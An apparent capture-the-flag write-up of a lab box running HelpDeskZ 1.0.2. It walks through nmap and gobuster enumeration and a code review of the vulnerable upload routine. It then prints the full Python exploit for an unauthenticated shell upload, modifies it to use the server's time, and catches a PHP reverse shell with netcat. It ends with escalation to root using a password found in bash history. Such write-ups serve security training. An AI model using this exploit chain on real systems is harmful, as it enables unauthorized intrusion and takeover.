This was a fairly straight forward box with some interesting hurdles to deal with if you were in a different time zone to the creator.

What’s covered in this article

The article doesn’t contain all possible attack vectors and will differ from the official write-up (available on Given that my goal here is to practice on web application testing, I try to approach a target from attack vectors that add value to me in that area.

In this article we will cover;

  • Standard enumeration and information gathering
  • Identifying a vulnerability
  • Reviewing, modifying and troubleshooting an existing exploit
  • Basic Privilege Escalation

Information Gathering

As always, we start any penetration testing activity with some information gathering. First, we run a basic nmap scan with the -A flag set to enable OS detection, version detection, default scripts, and traceroute.

nmap -A


Taking note of the services and versions, we notice two http services running on the server. Web being the largest attack surface, we take a look at port 80 first to see what’s running.

Port 80


Whenever we see a default page like this, it’s generally good news for us as attackers because it’s a sign of poor housekeeping. It’s also a strong indication that some form of a web application is running on this server. We need to enumerate this further before we can move forward. To do this we kick off two additional tools, gobuster and nikto.


Gobuster is a scanner that looks for existing or hidden web objects. It works by launching a dictionary attack against a web server and analyzing the response.

When we run it with a default wordlist, we immediately see a directory for /support

gobuster -u "" -w "/usr/share/wrdlists/dirbuster/directory-list-lowercase-2.3-medium.txt" -t 20


Heading over to this page in a browser we can see the HelpDeskZ application running

helpdeskz.png After playing around with the application for a while, we understand the following interesting points;

  1. An email address is required to log in (so far, we haven’t discovered one)
  2. You can log a ticket onto the system as an unauthenticated user
  3. You can upload a file to the server as an attachment on a ticket
  4. There is a CAPTCHA mechanism in place while logging tickets

Thinking with the attacker mindset, we can upload a file to this server as an unauthenticated user. If this process is vulnerable in some way, we might be able to execute code on the server to gain remote access.

Researching the application

Now that we have played with the application a little bit and have a basic understanding of what it does. We want to try and find out as much information as we can from other sources, like,, and This process reveals the following useful information.

  • The HelpDeskZ website
  • A GitHub repository with the application source code
  • Two known vulnerabilities on


Before we go any further we need to confirm the version of the application. We are able to do this by navigating to the “UPGRADING.txt” file we identified in the GitHub repository.


Confirming the vulnerability

It’s never a good idea to point a piece of code to a target that you don’t fully understand, so before we blindly launch anything, lets review one of these exploits. Any exploits that are on exploit-db are also available in Kali Linux.

Running Searchsploit allows us to get a local copy of the exploit to review.

searchsploit HelpDeskZ


After making a copy of the script, we open it up in a text editor and read the authors note.

“The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk because the filenames get “obfuscated” when they are uploaded. However, there is a weakness in the rename function of the uploaded file…”

According to the author, there is a vulnerable section of code in the applications upload functionality, we can verify this on the GitHub repository that we found earlier.

Here is the section we need to look at;

$uploaddir = UPLOAD_DIR.'tickets/';        
if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
    $fileuploaded[] = array('name' => $_FILES['attachment']['name'],
                            'enc' => $filename,
                            'size' => formatBytes($_FILES['attachment']['size']),
                            'filetype' => $_FILES['attachment']['type']);
    $uploadedfile = $uploaddir.$filename;
    if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
        $show_step2 = true;
        $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
        $fileverification = verifyAttachment($_FILES['attachment']);
            case '1':
            $show_step2 = true;
            $error_msg = $LANG['INVALID_FILE_EXTENSION'];
            case '2':
            $show_step2 = true;
            $error_msg = $LANG['FILE_NOT_ALLOWED'];
            case '3':
            $show_step2 = true;
            $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);

Lets step through what this code is doing at a very high level. The first thing we notice is a variable being set with the full path of the upload directory;

$uploaddir = UPLOAD_DIR.'tickets/';

the UPLOAD_DIR of this variable is currently unknown to us, but the second part is hard coded to ‘tickets/’. It’s likely that the UPLOAD_DIR is set in a configuration file somewhere. A quick search on the GitHub repository confirms this in the includes/global.php file


It’s possible that our system admins have changed this configuration, but for now we can proceed on the assumption that they haven’t. This would make the full path of the upload directory:

This is potentially good news for us because it appears that our file uploads will sit inside the web directory, so if we can get a php file into this directory and navigate to it, we may have remote code execution.

The next section of code appears to check that the attachment was uploaded without any errors

if($_FILES['attachment']['error'] == 0)

On successful upload, the files extension is stripped out of the filename and assigned to a variable

$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);

Then another variable is assigned with an md5 hash of the files name and current time. The extension is then append to the end.

$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

The next interesting section of code for us joins the previously assigned upload directory and the newly generated filename together as a new variable called $uploadedfile

$uploadedfile = $uploaddir.$filename;

This is great news, we have confirmed that files will be uploaded into the web directory. Even more importantly, we have control over the variables being used to determine what the file is called. If we know the time this file was uploaded, we should be able to navigate directly to it in our browser.

Looking through the rest of the code we can see that the file gets moved into the new location. Then, if there are no errors, the file is verified to see if it’s allowed.

$fileverification = verifyAttachment($_FILES['attachment']);

So while the developers did think about validating files during the upload process, they haven’t tried to validate them until after the file has already been uploaded. Which means, if there are no other protections within the directory, we should be able to upload a php reverse shell and have it executed.

Reviewing the exploit

Now that we have confirmed the vulnerability, lets review the exploit script we copied earlier.

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url

First, it imports some basic dependencies

import hashlib
import time
import sys
import requests

Then, if there are not enough arguments supplied it prints the usage to the screen. Otherwise, it assigns our arguments to some variables.

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

Next, it sets the current time as a variable, if you remember this was the only piece of that we needed to guess.

currentTime = int(time.time())

Finally, it recreates the applications logic in naming the file, and attempts to find the file on the server.

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url

Running the exploit

Now that we fully understand what the exploit does and are happy that it is safe to use. We can attempt to run it. First, we need to prepare a php reverse shell as our malicious upload file.

Kali Linux comes with few of these pre-installed, we can simply copy one to our working directory and make some minor adjustments to the IP address and Port.

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop


Now we need to setup a netcat listener to catch the reverse shell if we trigger one.

nc -nlvp 4444


With everything setup, we upload the file and run the exploit, but it fails.

python "" "php-reverse-shell.php"


We did receive an error on the upload, but we anticipated this from our code review.


Actually, this is a good sign for us. It means we passed through all the logic up until the section that specifies the error, so it proves that we have no issues with the upload process.

$error_msg = $LANG['FILE_NOT_ALLOWED'];

Troubleshooting the exploit

Everything appears to have worked as expected, but we didn’t find the file, there are a few possible reasons for this.

  1. The developers may be aware of the vulnerability, and fixed it
  2. Our assumption that UPLOAD_DIR = is wrong
  3. We have the wrong time in our script

Options 1 & 2 are difficult to figure out without a little bit more information. It may be possible that further enumeration of the other ports we identified in our initial scans will help us. But before we begin to look at those, option 3 is fairly quick to check.

If we study a request to the server in burpsuite, we may be able to quickly verify the servers time.


I made this request at around 18:32, so there is a difference in the time between us and the server, this difference would defiantly affect our script and we need to fix that.

Modifying the exploit

The quickest way to fix this may be to figure out the difference between the times and plus or minus the difference within the script. A more elegant solution though would be to adjust the exploit so that it grabs the date header from the server, and uses that to determine the time. While we are making this change, we also set our time zone to match the servers timezone of GMT.

All of this can be achieved with the following few lines of code at the top of the exploit

results = requests.get("")
DateHeader = results.headers['date']
pattern = '%a, %d %b %Y %H:%M:%S %Z'
ServerTime = int(time.mktime(time.strptime(DateHeader, pattern)))

Now we just need to swap this

plaintext = fileName + str(currentTime - x)

for this

plaintext = fileName + str(ServerTime - x)

And our exploit should now be using the servers exact time. Lets try it uploading our php-reverse-shell.php file again and re-run the exploit.


Success! we have a reverse shell as the user “help”. Using python we can improve our shell to a full tty with;

python -c 'import pty; pty.spawn("/bin/bash")'

Then we can background the window with ctrl-z and use the following command to give us full tab auto completion.

stty raw -echo

using fg to return to the session to the foreground, we now have a much nicer interactive shell to work with. as you can see from this screenshot, we are now user “help” on


Privilege Escalation

In this situation, the first thing I generally do is upload a basic enumeration script, and review the output to see if there is anything obvious we can work with. On this occasion I used the LinEnum script to get things started.

First, we host the script on our attacking box using pythons simple http server;

cd "/opt/enumerate-linux/LinEnum/"
python3 -m http.server


Then we move into /dev/shm on the target (this helps cover our tracks later) and use wget to upload the file to the target

cd /dev/shm
wget ""


Now we run the script and carefully read through the output, checking anything that we find on the way to see if they are vulnerabilities.

Doing this immediately reveals that the kernel version on the box is vulnerable.


Before running any exploits against a target, particularly kernel exploits, it’s a good idea to complete your enumeration first. In this case, we also found some items of interest in .bash_history


When we try to repeat these commands it doesn’t work,

auth-fail .png

But there is something a little strange with the case on this password, it looks like a Caps Lock failure. When we change the case and try RootMeOrDie, we get root access, and now have full control over this box.


Thanks for reading!